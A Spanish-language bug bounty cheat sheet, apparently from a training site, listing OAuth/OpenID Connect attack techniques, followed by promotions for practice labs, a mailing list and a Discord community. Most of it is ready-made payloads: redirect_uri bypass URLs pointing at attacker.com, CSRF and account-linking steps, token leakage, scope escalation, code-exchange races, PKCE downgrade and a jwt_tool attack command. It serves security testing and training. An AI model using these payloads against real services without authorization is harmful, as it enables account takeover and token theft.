Cheatsheet OAuth

OAuth / OpenID Connect

Referencia rápida

  • →Siempre probar redirect_uri con subdominios, path traversal y open redirects del target
  • →Si falta el parametro state, hay CSRF en el flujo OAuth - permite vincular cuenta atacante
  • →Implicit flow (response_type=token) filtra tokens en URL, Referer y browser history
  • →Buscar client_secret en codigo fuente JS, APKs de Android y repositorios Git
  • →Combinar open redirect en dominio permitido + redirect_uri para token theft

Bypass de redirect_uri

Subdominio

redirect_uri=https://attacker.target.com/callback

Path traversal

redirect_uri=https://target.com/callback/../../../attacker.com

Fragment injection

redirect_uri=https://target.com/callback#@attacker.com

Open redirect en dominio permitidoOpen redirect + OAuth = token theft

redirect_uri=https://target.com/redirect?url=https://attacker.com

Localhost bypass

redirect_uri=http://localhost:8080/callback

URL encoding

redirect_uri=https://target.com%40attacker.com

Double encoding

redirect_uri=https://target.com%252f%252fattacker.com

CSRF en flujo OAuth

Sin parametro stateSin state = CSRF posible, vincular cuenta del atacante a la victima

https://oauth.provider.com/authorize?client_id=APP&redirect_uri=https://target.com/callback&response_type=code

State no verificadoProbar si el backend realmente valida el state

https://oauth.provider.com/authorize?client_id=APP&redirect_uri=https://target.com/callback&response_type=code&state=anything

Account linking CSRFAtacante puede hacer login como la victima via Google

1. Atacante inicia OAuth flow con su cuenta de Google
2. Intercepta el callback URL con el code
3. Envia la URL a la victima
4. La victima vincula la cuenta Google del atacante a su perfil

Token theft y leakage

Token en Referer header

1. OAuth usa response_type=token (implicit flow)
2. Token aparece en URL fragment
3. Pagina tiene recurso externo (imagen, script)
4. Token se filtra en Referer header al recurso externo

Token en browser history

Implicit flow almacena tokens en URL, visible en historial del navegador

Scope escalationAgregar scopes adicionales que el servidor no deberia permitir

https://oauth.provider.com/authorize?scope=openid+profile+email+admin

Misconfiguraciones avanzadas

Client secret expuestoCon client_secret se pueden intercambiar codes por tokens

Buscar client_secret en: JS del frontend, mobile APK, .env files, git history

Token reuse cross-service

Usar access_token de un servicio en otro servicio del mismo proveedor

Race condition en code exchangeEl code deberia ser de un solo uso

1. Obtener authorization code
2. Enviar multiples requests simultaneas de intercambio de code
3. Obtener multiples access tokens del mismo code

PKCE downgradeSi el servidor no fuerza PKCE, se puede usar flujo sin PKCE

Eliminar code_challenge y code_verifier del flujo

Herramientas

Burp Suite OAuth flow

Interceptar y modificar cada paso del flujo OAuth para testing manual

Burp > Proxy > Interceptar flujo OAuth completo

oauth-tools

Extension de Burp para detectar automaticamente vulnerabilidades OAuth

Burp Extensions > OAuth tools by James Kettle

JWT Tool para tokens OAuth

Analizar y atacar access tokens JWT emitidos por OAuth providers

python3 jwt_tool.py <access_token> -M at

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.